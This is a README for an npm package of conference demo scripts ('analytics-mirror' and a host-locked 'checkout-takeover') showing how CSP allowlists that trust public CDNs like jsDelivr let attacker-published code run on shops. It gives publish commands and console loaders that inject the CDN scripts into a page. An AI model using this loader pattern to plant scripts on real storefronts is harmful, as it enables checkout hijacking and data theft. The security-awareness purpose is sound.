ecommerce-sample-hacks

Conference demo scripts for showing ecommerce managers why frontend trust and overbroad CSP allowlists matter.

This package is intentionally built as browser-loaded IIFE scripts, so it can be served by a public CDN such as jsDelivr after publishing to npm.

Safety stance

• analytics-mirror.js shows what ecommerce/analytics events a third-party script can observe. It keeps data in the current browser tab.
• checkout-takeover.js is host-locked to demo.hyva.io. Outside that host it only shows a small panel proving that the CDN script was allowed to run.
• None of the scripts exfiltrate data to an external backend.

Publish

cd /Users/igloczek/Sites/security-demo/npm/ecommerce-sample-hacks
npm run check
npm pack --dry-run
npm publish --access public

The package uses the public npm name ecommerce-sample-hacks.

jsDelivr URLs after publish

Version-pinned URLs:

https://cdn.jsdelivr.net/npm/[email protected]/dist/analytics-mirror.js
https://cdn.jsdelivr.net/npm/[email protected]/dist/checkout-takeover.js

Latest URLs for demo convenience:

https://cdn.jsdelivr.net/npm/ecommerce-sample-hacks@latest/dist/analytics-mirror.js
https://cdn.jsdelivr.net/npm/ecommerce-sample-hacks@latest/dist/checkout-takeover.js

Console loaders

Analytics mirror:

const s = document.createElement("script");
s.src = "https://cdn.jsdelivr.net/npm/ecommerce-sample-hacks@latest/dist/analytics-mirror.js";
document.head.append(s);

Checkout takeover demo on demo.hyva.io:

const s = document.createElement("script");
s.src = "https://cdn.jsdelivr.net/npm/ecommerce-sample-hacks@latest/dist/checkout-takeover.js";
document.head.append(s);

Talk track

If a shop blocks igielski.dev but allows *.jsdelivr.net, that does not mean the frontend is protected. It means the attacker has to package the payload in a place the CSP already trusts.

CSP should not be treated as "safe domains good, unknown domains bad" when the allowlist includes public CDNs or tools where third parties can publish code.